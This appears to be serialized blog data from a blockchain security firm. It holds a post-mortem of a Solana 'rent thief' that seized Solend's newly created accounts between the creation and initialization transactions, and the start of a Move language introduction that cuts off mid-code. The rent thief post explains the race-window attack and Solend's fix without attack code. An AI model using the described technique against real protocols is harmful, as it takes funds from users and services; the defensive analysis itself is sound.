ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":3387,"width":3388,"height":3389},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[848,849],{"type":20,"children":3393,"toc":3708},[3394,3399,3405,3410,3415,3420,3426,3439,3486,3517,3526,3531,3536,3541,3547,3560,3575,3580,3585,3600,3604,3609,3624,3631,3636,3646,3653,3657,3662,3668,3673,3678,3683,3689,3694],{"type":23,"tag":24,"props":3395,"children":3396},{},[3397],{"type":28,"value":3398},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":41,"props":3400,"children":3402},{"id":3401},"background",[3403],{"type":28,"value":3404},"Background",{"type":23,"tag":24,"props":3406,"children":3407},{},[3408],{"type":28,"value":3409},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":3411,"children":3412},{},[3413],{"type":28,"value":3414},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":3416,"children":3417},{},[3418],{"type":28,"value":3419},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":41,"props":3421,"children":3423},{"id":3422},"the-exploit",[3424],{"type":28,"value":3425},"The Exploit",{"type":23,"tag":24,"props":3427,"children":3428},{},[3429,3431,3437],{"type":28,"value":3430},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":135,"props":3432,"children":3434},{"className":3433},[],[3435],{"type":28,"value":3436},"init_reserve",{"type":28,"value":3438}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":797,"props":3440,"children":3441},{},[3442,3447,3452,3457,3468,3473],{"type":23,"tag":801,"props":3443,"children":3444},{},[3445],{"type":28,"value":3446},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":801,"props":3448,"children":3449},{},[3450],{"type":28,"value":3451},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":801,"props":3453,"children":3454},{},[3455],{"type":28,"value":3456},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":801,"props":3458,"children":3459},{},[3460,3462],{"type":28,"value":3461},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":135,"props":3463,"children":3465},{"className":3464},[],[3466],{"type":28,"value":3467},"cTokens",{"type":23,"tag":801,"props":3469,"children":3470},{},[3471],{"type":28,"value":3472},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":801,"props":3474,"children":3475},{},[3476,3478,3484],{"type":28,"value":3477},"creator collateral token account - creator's ",{"type":23,"tag":135,"props":3479,"children":3481},{"className":3480},[],[3482],{"type":28,"value":3483},"cToken",{"type":28,"value":3485}," account",{"type":23,"tag":24,"props":3487,"children":3488},{},[3489,3491,3496,3498,3503,3505,3510,3512],{"type":28,"value":3490},"Account creation and initialization are ",{"type":23,"tag":659,"props":3492,"children":3493},{},[3494],{"type":28,"value":3495},"usually",{"type":28,"value":3497}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":135,"props":3499,"children":3501},{"className":3500},[],[3502],{"type":28,"value":3436},{"type":28,"value":3504}," is ",{"type":23,"tag":659,"props":3506,"children":3507},{},[3508],{"type":28,"value":3509},"supposed",{"type":28,"value":3511}," to look like:\n",{"type":23,"tag":429,"props":3513,"children":3516},{"src":3514,"alt":3515},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":24,"props":3518,"children":3519},{},[3520,3522],{"type":28,"value":3521},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":429,"props":3523,"children":3525},{"src":3524,"alt":3515},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":3527,"children":3528},{},[3529],{"type":28,"value":3530},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":3532,"children":3533},{},[3534],{"type":28,"value":3535},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":3537,"children":3538},{},[3539],{"type":28,"value":3540},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":41,"props":3542,"children":3544},{"id":3543},"example",[3545],{"type":28,"value":3546},"Example",{"type":23,"tag":24,"props":3548,"children":3549},{},[3550,3552,3559],{"type":28,"value":3551},"Let's take a look at ",{"type":23,"tag":64,"props":3553,"children":3556},{"href":3554,"rel":3555},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[68],[3557],{"type":28,"value":3558},"a real attack",{"type":28,"value":73},{"type":23,"tag":24,"props":3561,"children":3562},{},[3563,3570,3571],{"type":23,"tag":64,"props":3564,"children":3567},{"href":3565,"rel":3566},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[68],[3568],{"type":28,"value":3569},"Transaction 1",{"type":28,"value":313},{"type":23,"tag":429,"props":3572,"children":3574},{"alt":7,"src":3573},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":3576,"children":3577},{},[3578],{"type":28,"value":3579},"(...more accounts truncated)",{"type":23,"tag":24,"props":3581,"children":3582},{},[3583],{"type":28,"value":3584},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":3586,"children":3587},{},[3588,3595,3596],{"type":23,"tag":64,"props":3589,"children":3592},{"href":3590,"rel":3591},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[68],[3593],{"type":28,"value":3594},"Attacker's Transaction",{"type":28,"value":313},{"type":23,"tag":429,"props":3597,"children":3599},{"alt":7,"src":3598},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":3601,"children":3602},{},[3603],{"type":28,"value":3579},{"type":23,"tag":24,"props":3605,"children":3606},{},[3607],{"type":28,"value":3608},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":3610,"children":3611},{},[3612,3619,3620],{"type":23,"tag":64,"props":3613,"children":3616},{"href":3614,"rel":3615},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[68],[3617],{"type":28,"value":3618},"Transaction 2",{"type":28,"value":313},{"type":23,"tag":429,"props":3621,"children":3623},{"alt":7,"src":3622},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":3625,"children":3626},{},[3627],{"type":23,"tag":429,"props":3628,"children":3630},{"alt":7,"src":3629},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":3632,"children":3633},{},[3634],{"type":28,"value":3635},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":3637,"children":3638},{},[3639,3645],{"type":23,"tag":64,"props":3640,"children":3643},{"href":3641,"rel":3642},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[68],[3644],{"type":28,"value":3594},{"type":28,"value":2493},{"type":23,"tag":24,"props":3647,"children":3648},{},[3649],{"type":23,"tag":429,"props":3650,"children":3652},{"alt":7,"src":3651},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":3654,"children":3655},{},[3656],{"type":28,"value":3579},{"type":23,"tag":24,"props":3658,"children":3659},{},[3660],{"type":28,"value":3661},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":41,"props":3663,"children":3665},{"id":3664},"impact",[3666],{"type":28,"value":3667},"Impact",{"type":23,"tag":24,"props":3669,"children":3670},{},[3671],{"type":28,"value":3672},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":3674,"children":3675},{},[3676],{"type":28,"value":3677},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":3679,"children":3680},{},[3681],{"type":28,"value":3682},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":41,"props":3684,"children":3686},{"id":3685},"solution",[3687],{"type":28,"value":3688},"Solution",{"type":23,"tag":24,"props":3690,"children":3691},{},[3692],{"type":28,"value":3693},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":3695,"children":3696},{},[3697,3699,3706],{"type":28,"value":3698},"As a more permenant solution, Solend implemented ",{"type":23,"tag":64,"props":3700,"children":3703},{"href":3701,"rel":3702},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[68],[3704],{"type":28,"value":3705},"an onchain program",{"type":28,"value":3707}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":151,"depth":151,"links":3709},[3710,3711,3712,3713,3714],{"id":3401,"depth":151,"text":3404},{"id":3422,"depth":151,"text":3425},{"id":3543,"depth":151,"text":3546},{"id":3664,"depth":151,"text":3667},{"id":3685,"depth":151,"text":3688},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":3719,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3720,"description":3721,"author":10,"image":3722,"date":3726,"isFeatured":15,"onBlogPage":15,"body":3727,"_type":831,"_id":7264,"_source":833,"_file":7265,"_stem":7266,"_extension":836},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":3723,"height":3724,"width":3725},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":3728,"toc":7259},[3729,3734,3739,3758,3764,3776,3875,3883,4003,4011,4033,4186,4191,4449,4470,4505,4510,4530,4535,4546,4558,4770,4782,4796,4809,5066,5078,5300,5305,5333,5479,5498,5503,5768,5780,5785,5798,5804,5809,5814,5826,5840,5845,5944,5956,5969,6243,6248,6260,6265,6319,6339,6344,7228,7232,7237,7242,7255],{"type":23,"tag":24,"props":3730,"children":3731},{},[3732],{"type":28,"value":3733},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":3735,"children":3736},{},[3737],{"type":28,"value":3738},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":3740,"children":3741},{},[3742,3744,3749,3751,3756],{"type":28,"value":3743},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":659,"props":3745,"children":3746},{},[3747],{"type":28,"value":3748},"how",{"type":28,"value":3750}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":659,"props":3752,"children":3753},{},[3754],{"type":28,"value":3755},"structurally",{"type":28,"value":3757}," safer programs.",{"type":23,"tag":41,"props":3759,"children":3761},{"id":3760},"types",[3762],{"type":28,"value":3763},"Types",{"type":23,"tag":24,"props":3765,"children":3766},{},[3767,3769,3775],{"type":28,"value":3768},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":135,"props":3770,"children":3772},{"className":3771},[],[3773],{"type":28,"value":3774},"coin.move",{"type":28,"value":73},{"type":23,"tag":128,"props":3777,"children":3779},{"className":948,"code":3778,"language":947,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[3780],{"type":23,"tag":135,"props":3781,"children":3782},{"__ignoreMap":7},[3783,3791,3838,3846,3867],{"type":23,"tag":139,"props":3784,"children":3785},{"class":141,"line":142},[3786],{"type":23,"tag":139,"props":3787,"children":3788},{"style":958},[3789],{"type":28,"value":3790},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":139,"props":3792,"children":3793},{"class":141,"line":151},[3794,3799,3804,3809,3814,3819,3824,3829,3834],{"type":23,"tag":139,"props":3795,"children":3796},{"style":279},[3797],{"type":28,"value":3798},"  struct",{"type":23,"tag":139,"props":3800,"children":3801},{"style":305},[3802],{"type":28,"value":3803}," Coin",{"type":23,"tag":139,"props":3805,"children":3806},{"style":259},[3807],{"type":28,"value":3808},"\u003C",{"type":23,"tag":139,"props":3810,"children":3811},{"style":294},[3812],{"type":28,"value":3813},"phantom",{"type":23,"tag":139,"props":3815,"children":3816},{"style":305},[3817],{"type":28,"value":3818}," CoinType",{"type":23,"tag":139,"props":3820,"children":3821},{"style":259},[3822],{"type":28,"value":3823},"> ",{"type":23,"tag":139,"props":3825,"children":3826},{"style":294},[3827],{"type":28,"value":3828},"has",{"type":23,"tag":139,"props":3830,"children":3831},{"style":294},[3832],{"type":28,"value":3833}," store",{"type":23,"tag":139,"props":3835,"children":3836},{"style":259},[3837],{"type":28,"value":1268},{"type":23,"tag":139,"props":3839,"children":3840},{"class":141,"line":160},[3841],{"type":23,"tag":139,"props":3842,"children":3843},{"style":958},[3844],{"type":28,"value":3845},"      /// Amount of coin this address has.\n",{"type":23,"tag":139,"props":3847,"children":3848},{"class":141,"line":169},[3849,3854,3858,3863],{"type":23,"tag":139,"props":3850,"children":3851},{"style":294},[3852],{"type":28,"value":3853},"      value",{"type":23,"tag":139,"props":3855,"children":3856},{"style":982},[3857],{"type":28,"value":2493},{"type":23,"tag":139,"props":3859,"children":3860},{"style":305},[3861],{"type":28,"value":3862}," u64",{"type":23,"tag":139,"props":3864,"children":3865},{"style":259},[3866],{"type":28,"value":1488},{"type":23,"tag":139,"props":3868,"children":3869},{"class":141,"line":178},[3870],{"type":23,"tag":139,"props":3871,"children":3872},{"style":259},[3873],{"type":28,"value":3874},"  }\n",{"type":23,"tag":24,"props":3876,"children":3877},{},[3878],{"type":23,"tag":659,"props":3879,"children":3880},{},[3881],{"type":28,"value":3882},"aptos",{"type":23,"tag":128,"props":3884,"children":3886},{"className":948,"code":3885,"language":947,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[3887],{"type":23,"tag":135,"props":3888,"children":3889},{"__ignoreMap":7},[3890,3898,3948,3965,3996],{"type":23,"tag":139,"props":3891,"children":3892},{"class":141,"line":142},[3893],{"type":23,"tag":139,"props":3894,"children":3895},{"style":958},[3896],{"type":28,"value":3897},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":139,"props":3899,"children":3900},{"class":141,"line":151},[3901,3905,3909,3913,3917,3922,3926,3930,3935,3939,3944],{"type":23,"tag":139,"props":3902,"children":3903},{"style":279},[3904],{"type":28,"value":3798},{"type":23,"tag":139,"props":3906,"children":3907},{"style":305},[3908],{"type":28,"value":3803},{"type":23,"tag":139,"props":3910,"children":3911},{"style":259},[3912],{"type":28,"value":3808},{"type":23,"tag":139,"props":3914,"children":3915},{"style":294},[3916],{"type":28,"value":3813},{"type":23,"tag":139,"props":3918,"children":3919},{"style":305},[3920],{"type":28,"value":3921}," T",{"type":23,"tag":139,"props":3923,"children":3924},{"style":259},[3925],{"type":28,"value":3823},{"type":23,"tag":139,"props":3927,"children":3928},{"style":294},[3929],{"type":28,"value":3828},{"type":23,"tag":139,"props":3931,"children":3932},{"style":294},[3933],{"type":28,"value":3934}," key",{"type":23,"tag":139,"props":3936,"children":3937},{"style":259},[3938],{"type":28,"value":1052},{"type":23,"tag":139,"props":3940,"children":3941},{"style":294},[3942],{"type":28,"value":3943},"store",{"type":23,"tag":139,"props":3945,"children":3946},{"style":259},[3947],{"type":28,"value":1268},{"type":23,"tag":139,"props":3949,"children":3950},{"class":141,"line":160},[3951,3956,3960],{"type":23,"tag":139,"props":3952,"children":3953},{"style":294},[3954],{"type":28,"value":3955},"      id",{"type":23,"tag":139,"props":3957,"children":3958},{"style":982},[3959],{"type":28,"value":2493},{"type":23,"tag":139,"props":3961,"children":3962},{"style":259},[3963],{"type":28,"value":3964}," UID,\n",{"type":23,"tag":139,"props":3966,"children":3967},{"class":141,"line":169},[3968,3973,3977,3982,3986,3991],{"type":23,"tag":139,"props":3969,"children":3970},{"style":294},[3971],{"type":28,"value":3972},"      balance",{"type":23,"tag":139,"props":3974,"children":3975},{"style":982},[3976],{"type":28,"value":2493},{"type":23,"tag":139,"props":3978,"children":3979},{"style":305},[3980],{"type":28,"value":3981}," Balance",{"type":23,"tag":139,"props":3983,"children":3984},{"style":259},[3985],{"type":28,"value":3808},{"type":23,"tag":139,"props":3987,"children":3988},{"style":305},[3989],{"type":28,"value":3990},"T",{"type":23,"tag":139,"props":3992,"children":3993},{"style":259},[3994],{"type":28,"value":3995},">\n",{"type":23,"tag":139,"props":3997,"children":3998},{"class":141,"line":178},[3999],{"type":23,"tag":139,"props":4000,"children":4001},{"style":259},[4002],{"type":28,"value":3874},{"type":23,"tag":24,"props":4004,"children":4005},{},[4006],{"type":23,"tag":659,"props":4007,"children":4008},{},[4009],{"type":28,"value":4010},"sui",{"type":23,"tag":24,"props":4012,"children":4013},{},[4014,4016,4023,4025,4031],{"type":28,"value":4015},"Pulling an example from ",{"type":23,"tag":64,"props":4017,"children":4020},{"href":4018,"rel":4019},"https://pontem.network/",[68],[4021],{"type":28,"value":4022},"Pontem Network's",{"type":28,"value":4024}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":135,"props":4026,"children":4028},{"className":4027},[],[4029],{"type":28,"value":4030},"LiquidityPool",{"type":28,"value":4032}," natively embeds this type information into it's fields.",{"type":23,"tag":128,"props":4034,"children":4036},{"className":948,"code":4035,"language":947,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[4037],{"type":23,"tag":135,"props":4038,"children":4039},{"__ignoreMap":7},[4040,4048,4112,4142,4171,4179],{"type":23,"tag":139,"props":4041,"children":4042},{"class":141,"line":142},[4043],{"type":23,"tag":139,"props":4044,"children":4045},{"style":958},[4046],{"type":28,"value":4047},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":139,"props":4049,"children":4050},{"class":141,"line":151},[4051,4056,4061,4065,4069,4074,4078,4082,4087,4091,4095,4100,4104,4108],{"type":23,"tag":139,"props":4052,"children":4053},{"style":279},[4054],{"type":28,"value":4055},"    struct",{"type":23,"tag":139,"props":4057,"children":4058},{"style":305},[4059],{"type":28,"value":4060}," LiquidityPool",{"type":23,"tag":139,"props":4062,"children":4063},{"style":259},[4064],{"type":28,"value":3808},{"type":23,"tag":139,"props":4066,"children":4067},{"style":294},[4068],{"type":28,"value":3813},{"type":23,"tag":139,"props":4070,"children":4071},{"style":305},[4072],{"type":28,"value":4073}," X",{"type":23,"tag":139,"props":4075,"children":4076},{"style":259},[4077],{"type":28,"value":1052},{"type":23,"tag":139,"props":4079,"children":4080},{"style":294},[4081],{"type":28,"value":3813},{"type":23,"tag":139,"props":4083,"children":4084},{"style":305},[4085],{"type":28,"value":4086}," Y",{"type":23,"tag":139,"props":4088,"children":4089},{"style":259},[4090],{"type":28,"value":1052},{"type":23,"tag":139,"props":4092,"children":4093},{"style":294},[4094],{"type":28,"value":3813},{"type":23,"tag":139,"props":4096,"children":4097},{"style":259},[4098],{"type":28,"value":4099}," LP> ",{"type":23,"tag":139,"props":4101,"children":4102},{"style":294},[4103],{"type":28,"value":3828},{"type":23,"tag":139,"props":4105,"children":4106},{"style":294},[4107],{"type":28,"value":3934},{"type":23,"tag":139,"props":4109,"children":4110},{"style":259},[4111],{"type":28,"value":1268},{"type":23,"tag":139,"props":4113,"children":4114},{"class":141,"line":160},[4115,4120,4124,4128,4132,4137],{"type":23,"tag":139,"props":4116,"children":4117},{"style":294},[4118],{"type":28,"value":4119},"        coin_x_reserve",{"type":23,"tag":139,"props":4121,"children":4122},{"style":982},[4123],{"type":28,"value":2493},{"type":23,"tag":139,"props":4125,"children":4126},{"style":305},[4127],{"type":28,"value":3803},{"type":23,"tag":139,"props":4129,"children":4130},{"style":259},[4131],{"type":28,"value":3808},{"type":23,"tag":139,"props":4133,"children":4134},{"style":305},[4135],{"type":28,"value":4136},"X",{"type":23,"tag":139,"props":4138,"children":4139},{"style":259},[4140],{"type":28,"value":4141},">,\n",{"type":23,"tag":139,"props":4143,"children":4144},{"class":141,"line":169},[4145,4150,4154,4158,4162,4167],{"type":23,"tag":139,"props":4146,"children":4147},{"style":294},[4148],{"type":28,"value":4149},"        coin_y_reserve",{"type":23,"tag":139,"props":4151,"children":4152},{"style":982},[4153],{"type":28,"value":2493},{"type":23,"tag":139,"props":4155,"children":4156},{"style":305},[4157],{"type":28,"value":3803},{"type":23,"tag":139,"props":4159,"children":4160},{"style":259},[4161],{"type":28,"value":3808},{"type":23,"tag":139,"props":4163,"children":4164},{"style":305},[4165],{"type":28,"value":4166},"Y",{"type":23,"tag":139,"props":4168,"children":4169},{"style":259},[4170],{"type":28,"value":4141},{"type":23,"tag":139,"props":4172,"children":4173},{"class":141,"line":178},[4174],{"type":23,"tag":139,"props":4175,"children":4176},{"style":958},[4177],{"type":28,"value":4178},"        // ...\n",{"type":23,"tag":139,"props":4180,"children":4181},{"class":141,"line":187},[4182],{"type":23,"tag":139,"props":4183,"children":4184},{"style":259},[4185],{"type":28,"value":1335},{"type":23,"tag":24,"props":4187,"children":4188},{},[4189],{"type":28,"value":4190},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":128,"props":4192,"children":4194},{"className":948,"code":4193,"language":947,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[4195],{"type":23,"tag":135,"props":4196,"children":4197},{"__ignoreMap":7},[4198,4237,4258,4286,4314,4365,4373,4380],{"type":23,"tag":139,"props":4199,"children":4200},{"class":141,"line":142},[4201,4206,4211,4216,4220,4224,4228,4232],{"type":23,"tag":139,"props":4202,"children":4203},{"style":294},[4204],{"type":28,"value":4205},"      public",{"type":23,"tag":139,"props":4207,"children":4208},{"style":294},[4209],{"type":28,"value":4210}," fun",{"type":23,"tag":139,"props":4212,"children":4213},{"style":294},[4214],{"type":28,"value":4215}," mint",{"type":23,"tag":139,"props":4217,"children":4218},{"style":259},[4219],{"type":28,"value":3808},{"type":23,"tag":139,"props":4221,"children":4222},{"style":305},[4223],{"type":28,"value":4136},{"type":23,"tag":139,"props":4225,"children":4226},{"style":259},[4227],{"type":28,"value":1052},{"type":23,"tag":139,"props":4229,"children":4230},{"style":305},[4231],{"type":28,"value":4166},{"type":23,"tag":139,"props":4233,"children":4234},{"style":259},[4235],{"type":28,"value":4236},", LP>(\n",{"type":23,"tag":139,"props":4238,"children":4239},{"class":141,"line":151},[4240,4245,4249,4254],{"type":23,"tag":139,"props":4241,"children":4242},{"style":294},[4243],{"type":28,"value":4244},"          pool_addr",{"type":23,"tag":139,"props":4246,"children":4247},{"style":982},[4248],{"type":28,"value":2493},{"type":23,"tag":139,"props":4250,"children":4251},{"style":294},[4252],{"type":28,"value":4253}," address",{"type":23,"tag":139,"props":4255,"children":4256},{"style":259},[4257],{"type":28,"value":1488},{"type":23,"tag":139,"props":4259,"children":4260},{"class":141,"line":160},[4261,4266,4270,4274,4278,4282],{"type":23,"tag":139,"props":4262,"children":4263},{"style":294},[4264],{"type":28,"value":4265},"          coin_x",{"type":23,"tag":139,"props":4267,"children":4268},{"style":982},[4269],{"type":28,"value":2493},{"type":23,"tag":139,"props":4271,"children":4272},{"style":305},[4273],{"type":28,"value":3803},{"type":23,"tag":139,"props":4275,"children":4276},{"style":259},[4277],{"type":28,"value":3808},{"type":23,"tag":139,"props":4279,"children":4280},{"style":305},[4281],{"type":28,"value":4136},{"type":23,"tag":139,"props":4283,"children":4284},{"style":259},[4285],{"type":28,"value":4141},{"type":23,"tag":139,"props":4287,"children":4288},{"class":141,"line":169},[4289,4294,4298,4302,4306,4310],{"type":23,"tag":139,"props":4290,"children":4291},{"style":294},[4292],{"type":28,"value":4293},"          coin_y",{"type":23,"tag":139,"props":4295,"children":4296},{"style":982},[4297],{"type":28,"value":2493},{"type":23,"tag":139,"props":4299,"children":4300},{"style":305},[4301],{"type":28,"value":3803},{"type":23,"tag":139,"props":4303,"children":4304},{"style":259},[4305],{"type":28,"value":3808},{"type":23,"tag":139,"props":4307,"children":4308},{"style":305},[4309],{"type":28,"value":4166},{"type":23,"tag":139,"props":4311,"children":4312},{"style":259},[4313],{"type":28,"value":3995},{"type":23,"tag":139,"props":4315,"children":4316},{"class":141,"line":178},[4317,4322,4326,4330,4334,4339,4343,4348,4352,4356,4361],{"type":23,"tag":139,"props":4318,"children":4319},{"style":259},[4320],{"type":28,"value":4321},"      )",{"type":23,"tag":139,"props":4323,"children":4324},{"style":982},[4325],{"type":28,"value":2493},{"type":23,"tag":139,"props":4327,"children":4328},{"style":305},[4329],{"type":28,"value":3803},{"type":23,"tag":139,"props":4331,"children":4332},{"style":259},[4333],{"type":28,"value":3808},{"type":23,"tag":139,"props":4335,"children":4336},{"style":305},[4337],{"type":28,"value":4338},"LP",{"type":23,"tag":139,"props":4340,"children":4341},{"style":259},[4342],{"type":28,"value":3823},{"type":23,"tag":139,"props":4344,"children":4345},{"style":294},[4346],{"type":28,"value":4347},"acquires",{"type":23,"tag":139,"props":4349,"children":4350},{"style":305},[4351],{"type":28,"value":4060},{"type":23,"tag":139,"props":4353,"children":4354},{"style":259},[4355],{"type":28,"value":1052},{"type":23,"tag":139,"props":4357,"children":4358},{"style":305},[4359],{"type":28,"value":4360},"EventsStore",{"type":23,"tag":139,"props":4362,"children":4363},{"style":259},[4364],{"type":28,"value":1268},{"type":23,"tag":139,"props":4366,"children":4367},{"class":141,"line":187},[4368],{"type":23,"tag":139,"props":4369,"children":4370},{"style":958},[4371],{"type":28,"value":4372},"          // ...\n",{"type":23,"tag":139,"props":4374,"children":4375},{"class":141,"line":196},[4376],{"type":23,"tag":139,"props":4377,"children":4378},{"emptyLinePlaceholder":15},[4379],{"type":28,"value":184},{"type":23,"tag":139,"props":4381,"children":4382},{"class":141,"line":205},[4383,4388,4392,4397,4401,4406,4410,4414,4419,4423,4427,4431,4435,4440,4445],{"type":23,"tag":139,"props":4384,"children":4385},{"style":279},[4386],{"type":28,"value":4387},"          let",{"type":23,"tag":139,"props":4389,"children":4390},{"style":259},[4391],{"type":28,"value":1042},{"type":23,"tag":139,"props":4393,"children":4394},{"style":294},[4395],{"type":28,"value":4396},"x_reserve_size",{"type":23,"tag":139,"props":4398,"children":4399},{"style":259},[4400],{"type":28,"value":1052},{"type":23,"tag":139,"props":4402,"children":4403},{"style":294},[4404],{"type":28,"value":4405},"y_reserve_size",{"type":23,"tag":139,"props":4407,"children":4408},{"style":259},[4409],{"type":28,"value":1062},{"type":23,"tag":139,"props":4411,"children":4412},{"style":982},[4413],{"type":28,"value":1067},{"type":23,"tag":139,"props":4415,"children":4416},{"style":294},[4417],{"type":28,"value":4418}," get_reserves_size",{"type":23,"tag":139,"props":4420,"children":4421},{"style":259},[4422],{"type":28,"value":3808},{"type":23,"tag":139,"props":4424,"children":4425},{"style":305},[4426],{"type":28,"value":4136},{"type":23,"tag":139,"props":4428,"children":4429},{"style":259},[4430],{"type":28,"value":1052},{"type":23,"tag":139,"props":4432,"children":4433},{"style":305},[4434],{"type":28,"value":4166},{"type":23,"tag":139,"props":4436,"children":4437},{"style":259},[4438],{"type":28,"value":4439},", 